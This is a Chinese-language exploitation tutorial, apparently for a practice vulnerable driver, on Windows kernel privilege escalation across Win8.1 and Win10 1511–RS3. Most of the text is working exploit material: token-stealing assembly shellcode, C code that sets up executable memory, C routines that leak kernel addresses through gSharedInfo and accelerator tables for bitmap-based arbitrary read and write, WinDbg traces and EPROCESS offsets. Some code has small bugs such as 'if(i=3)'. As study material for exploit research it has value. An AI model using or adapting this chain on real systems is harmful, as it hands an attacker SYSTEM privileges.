WWW利用从Win7 x64到Win10 x64(下)
字数 1332 2025-08-03 16:49:31
Windows内核提权漏洞利用技术详解:从Win7到Win10
0x00 概述
本文详细分析了从Windows 7 x64到Windows 10 x64系统的内核提权漏洞利用技术,重点讲解了不同Windows版本下的利用方法、遇到的坑以及解决方案。内容涵盖Win8.1 x64的堆栈平衡问题、Win10 1511-1607 x64的利用技术,以及对后续版本(RS2、RS3)的利用猜想。
0x01 Windows 8.1 x64利用中的关键问题
1. Shellcode构造与堆栈平衡
在Win8.1 x64利用中,Shellcode的构造和堆栈平衡是需要特别注意的关键点。
Shellcode构造代码示例:
VOID ConstrutShellcode() {
printf("[+]Start to construt Shellcode \n");
VOID* shellAddr = (void*)0x100000;
shellAddr = VirtualAlloc(shellAddr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(shellAddr, 0x41, 0x1000);
CopyMemory((VOID*)0x100300, ShellCode, 0x200);
UINT64* recoverAddr = (UINT64*)((PBYTE)(0x100300) + 0x44);
*(recoverAddr) = (DWORD64)ntoskrnlbase() + 0x4c8f75; // nt!KeQueryIntervalProfile+0x25
}
Shellcode汇编实现:
.code
ShellCode proc
; shellcode编写
mov rax, gs:[188h]
mov rax, [rax+220h]
mov rcx, rax
mov rdx, 4
findSystemPid:
mov rax, [rax+2e8h]
sub rax, 2e8h
cmp [rax+2e0h], rdx
jnz findSystemPid
mov rdx, [rax+348h]
mov [rcx+348h], rdx
sub rsp, 30h ; 堆栈平衡
mov rax, 0aaaaaaaaaaaaaaaah ; 这个位置放进入Gadgets返回后的后半部分函数
mov [rsp], rax
ret
ShellCode endp
end
2. 关键调试过程
调试时需要设置硬件断点观察执行流程:
1: kd> ba e1 fffff803`20ffe7cc
1: kd> ba e1 00000000`00100300
观察执行流程和寄存器变化:
1: kd> g
Breakpoint 0 hit
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
1: kd> t
nt!KiConfigureDynamicProcessor+0x43:
fffff803`20ffe7cf 4883c428 add rsp,28h
1: kd> t
nt!KiConfigureDynamicProcessor+0x47:
fffff803`20ffe7d3 c3 ret
1: kd> dqs rsp
ffffd000`27acf9a0 00000000`00100300
ffffd000`27acf9a8 00000000`00000000
...
3. 函数恢复技术
利用nt!KeQueryIntervalProfile+0x25恢复原始函数执行流程:
0: kd> u nt!KeQueryIntervalProfile+0x25
fffff803`2114ff75 85c0 test eax,eax
fffff803`2114ff77 7818 js nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)
0x02 Windows 10 1511-1607 x64利用技术
1. GdiSharedHandleTable结构变化
Win10 1607中GdiSharedHandleTable不再直接暴露指针,需要通过其他方式泄露地址。
Win8.1、Win10 1511和Win10 1607对比:
Win8.1 x64:
0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x000000c4`d0540000
Win10 1511 x64:
0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x00000216`aa740000
Win10 1607 x64:
3: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x0000023e`1a210000
2. 利用gSharedInfo结构泄露地址
使用SHAREDINFO结构中的aheList来获取内核地址:
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, *PSHAREDINFO;
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union {
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, *PUSER_HANDLE_ENTRY;
3. 关键泄露代码
LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY leakaddr = NULL;
HMODULE huser32 = NULL;
HACCEL hAccel = NULL;
int nSize = 700;
lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL)*nSize);
PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandleW(L"user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = pfindSharedInfo->aheList;
for(int i=0;i<0x3;i++) {
hAccel = CreateAcceleratorTable(lPaccel, nSize);
leakaddr = &handleTable[LOWORD(hAccel)];
DWORD64 addr = (DWORD64)(leakaddr->pKernel);
printf("[+]leak address : 0x%p", leakaddr->pKernel);
DestroyAcceleratorTable(hAccel);
if(i=3) {
CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
}
}
4. 稳定泄露Bitmap信息
LeakBitmapInfo GetBitmap() {
UINT loadCount = 0;
HACCEL hAccel = NULL;
LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY firstEntryAddr = NULL;
PUSER_HANDLE_ENTRY secondEntryAddr = NULL;
int nSize = 700;
int handleIndex = 0;
PUCHAR firstAccelKernelAddr;
PUCHAR secondAccelKernelAddr;
PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(L"user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY gHandleTable = pfindSharedInfo->aheList;
LeakBitmapInfo retBitmap;
lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL)*nSize);
while(loadCount < 20) {
hAccel = CreateAcceleratorTable(lPaccel, nSize);
handleIndex = LOWORD(hAccel);
firstEntryAddr = &gHandleTable[handleIndex];
firstAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;
DestroyAcceleratorTable(hAccel);
hAccel = CreateAcceleratorTable(lPaccel, nSize);
handleIndex = LOWORD(hAccel);
secondEntryAddr = &gHandleTable[handleIndex];
secondAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;
if(firstAccelKernelAddr == secondAccelKernelAddr) {
DestroyAcceleratorTable(hAccel);
LPVOID lpBuf = VirtualAlloc(NULL, 0x50*2*4, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
retBitmap.hBitmap = CreateBitmap(0x701, 2, 1, 8, lpBuf);
break;
}
DestroyAcceleratorTable(hAccel);
loadCount++;
}
retBitmap.pBitmapPvScan0 = firstAccelKernelAddr + 0x50;
printf("[+]bitmap handle is: 0x%08x \n", (ULONG)retBitmap.hBitmap);
printf("[+]bitmap pvScan0 at: 0x%p \n\n", retBitmap.pBitmapPvScan0);
return retBitmap;
}
5. 利用流程总结
- 初始化句柄等结构
- 通过gSharedInfo对象泄露Bitmap地址
- 调用TriggerArbitraryOverwrite函数将一个pvScan0指向另一个pvScan0
- 通过不断的read和write模拟token的替换实现提权
0x03 Windows 10后续版本利用猜想
1. RS2版本利用技术
RS2版本中移除了pkernel指针,需要通过其他方式泄露内核地址:
- 使用tagCLS对象及lpszMenuName对象泄露内核地址
- 通过HMValidateHandle函数获取tagWND对象指针
HMValidateHandle函数定位:
kd> u user32!IsMenu
USER32!IsMenu:
00007fff`17d489e0 4883ec28 sub rsp,28h
00007fff`17d489e4 b202 mov dl,2
00007fff`17d489e6 e805380000 call USER32!HMValidateHandle (00007fff`17d4c1f0)
00007fff`17d489eb 33c9 xor ecx,ecx
00007fff`17d489ed 4885c0 test rax,rax
00007fff`17d489f0 0f95c1 setne cl
00007fff`17d489f3 8bc1 mov eax,ecx
00007fff`17d489f5 4883c428 add rsp,28h
RS2偏移信息:
2: kd> dt nt!_EPROCESS uniqueprocessid token activeprocesslinks
+0x2e0 UniqueProcessId : Ptr64 Void
+0x2e8 ActiveProcessLinks : _LIST_ENTRY
+0x358 Token : _EX_FAST_REF
2. RS3版本利用技术
RS3版本中PvScan0被移入堆中,可能的利用方法:
- 堆喷射控制内核池
- 使用palette对象替代bitmap结构:
- 使用CreatePalette函数创建
- 使用GetPaletteEntries和SetPaletteEntries实现任意读写
palette结构示例:
任意读写的方法改为GetPaletteEntries和SetPaletteEntries
0x04 总结
本文详细分析了从Win7到Win10不同版本的内核提权技术,重点包括:
- Win8.1中的堆栈平衡问题和Shellcode构造技巧
- Win10 1511-1607中通过gSharedInfo结构泄露地址的方法
- 后续版本(RS2、RS3)的可能利用途径
不同Windows版本的内核结构变化导致利用技术需要相应调整,但核心思路仍是利用任意读写能力修改关键内核数据结构实现提权。